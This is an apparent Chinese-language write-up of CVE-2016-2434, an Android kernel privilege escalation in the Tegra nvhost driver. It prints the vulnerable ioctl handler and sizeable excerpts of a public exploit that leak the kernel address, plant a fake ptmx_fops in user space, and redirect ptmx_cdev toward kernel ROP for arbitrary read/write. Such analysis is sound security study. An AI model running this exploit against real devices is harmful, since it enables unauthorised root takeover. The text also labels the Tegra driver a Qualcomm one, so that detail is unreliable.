编号: CVE-2016-2434
EXP: GitHub
EXP作者: jianqiangzhao
漏洞原理
这是同样是一个高通驱动中的权限提升漏洞,类似的漏洞还还有cve-2016-2435等几个.
代码位置:drivers/video/tegra/host/bus_client.c
1234567891011121314151617181920212223242526272829 |
static int (struct nvhost_channel *ch, struct nvhost_set_error_notifier *args) { void *va; struct dma_buf *dmabuf; if (!args->mem) { dev_err(&ch->dev->dev, "invalid memory handlen"); return -EINVAL; } dmabuf = dma_buf_get(args->mem); if (ch->error_notifier_ref) nvhost_free_error_notifiers(ch); if (IS_ERR(dmabuf)) { dev_err(&ch->dev->dev, "Invalid handle: %dn", args->mem); return -EINVAL; } va = dma_buf_vmap(dmabuf); if (!va) { dma_buf_put(dmabuf); dev_err(&ch->dev->dev, "Cannot map notifier handlen"); return -ENOMEM; } /* set channel notifiers pointer */ ch->error_notifier_ref = dmabuf; ch->error_notifier = va + args->offset; // args can be control ch->error_notifier_va = va; memset(ch->error_notifier, 0, sizeof(struct nvhost_notification)); return 0;} |
函数在结尾的地方将ch->error_notifier置零,ch->error_notifier的值即va + args->offset,而args是可以被控制的。
漏洞利用
获取VA
由于置零的位置不是完全由args控制,还需要一个偏移va,首先需要确定va的值。
1234567891011121314151617181920212223242526272829303132333435363738394041 |
map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0); // alloc a large mem ........ if(map == MAP_FAILED) { printf("[-] Failed to mmap landing (%d-%s)n", errno, strerror(errno)); ret = -1; goto out; } printf("[+] landing mmap'ed @ %pn", map); memset(map, 0xff, 0x10000000); // set all mem to 0xff fd = open("/dev/nvhost-vic", O_RDONLY); if(fd == -1) { printf("[-] Open nvhost-vic fail (%s - %d)n", strerror(errno), errno); ret = -1; goto open_vic_out; } printf("[+] open device nvhost-vicn"); memset(&arg, 0, sizeof(arg)); arg.mem = nvmap_handle; arg.offset = (unsigned long)map - 0xffffff8000000000; //adjust address with userspace start arg.size = 0; cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER; ret = ioctl(fd, cmd, &arg); // call vul ioctl if(ret == -1) { printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno); goto ioctl_out; } for(i=0; i<0x10000000/8; i++) { //find zero offset .aka va tmp = *((unsigned long*)map + i); if(tmp == 0) { break; } } va = 0xffffff8000000000 + i * 8; printf("[+] va position: 0x%lxn", va); ......... |
步骤:
- 1.分配以大段内存,并全部置为ff
- 2.调用存在漏洞的ioctl,将一部分数据置零
- 3.查找分配内存中的0,前面部分的数据即为VA
控制ptmx_cdev
由于有PXN的限制,直接将内核函数指针指向用户地址的payload的方法不可行,需要用其他的方法。EXP将内核结构题,ptmx_cdev的地址指向用户态,控制其中的函数指针指向内核中的ROP。由于针对特地设备,内核中关键符号的地址已经hardcode在exp中。
(关于如何在内核中定位符号可以查看我之前的文章内核符号获取)
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950 |
......... map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);if(map2 == MAP_FAILED) { ret = -1; printf("[-] shellcode mmap failed (%d-%s)n", errno, strerror(errno)); goto ioctl_out;}printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.n", map2);memset(map2, 0, 0x10000000);fake_ptmx_fops = PTMX_FOPS & 0xffffffff; //fake PTMX_FOPS*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;printf("[+] clear ptmx_cdev list firstn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10;arg.size = 0; //set the high 32 bit of ptmx_fops to zerocmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER; //it will point to fake ptmx_fops in userspaceret = ioctl(fd, cmd, &arg);if(ret == -1) { printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno); goto ioctl_out_2;}printf("[+] overwrite ptmx_cdev opsn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10 - 4;arg.size = 0;cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;ret = ioctl(fd, cmd, &arg);if(ret == -1) { printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno); goto ioctl_out_2;} ........... |
步骤:
- 1.在用户空间中部署一个伪造的ptmx_fops
- 2.通过漏洞将内核ptmx_cdev指向用户态的伪造ptmx_fops
- 3.修改伪造ptmx_fops中某些函数指针,指向内核中的rop,获得内核任意读写能力(这一步不在上面代码中,在使用时部署。在kernel_read_32/kernel_write_32函数中)
提权
提权部分依旧是查找cred并修改,不分析了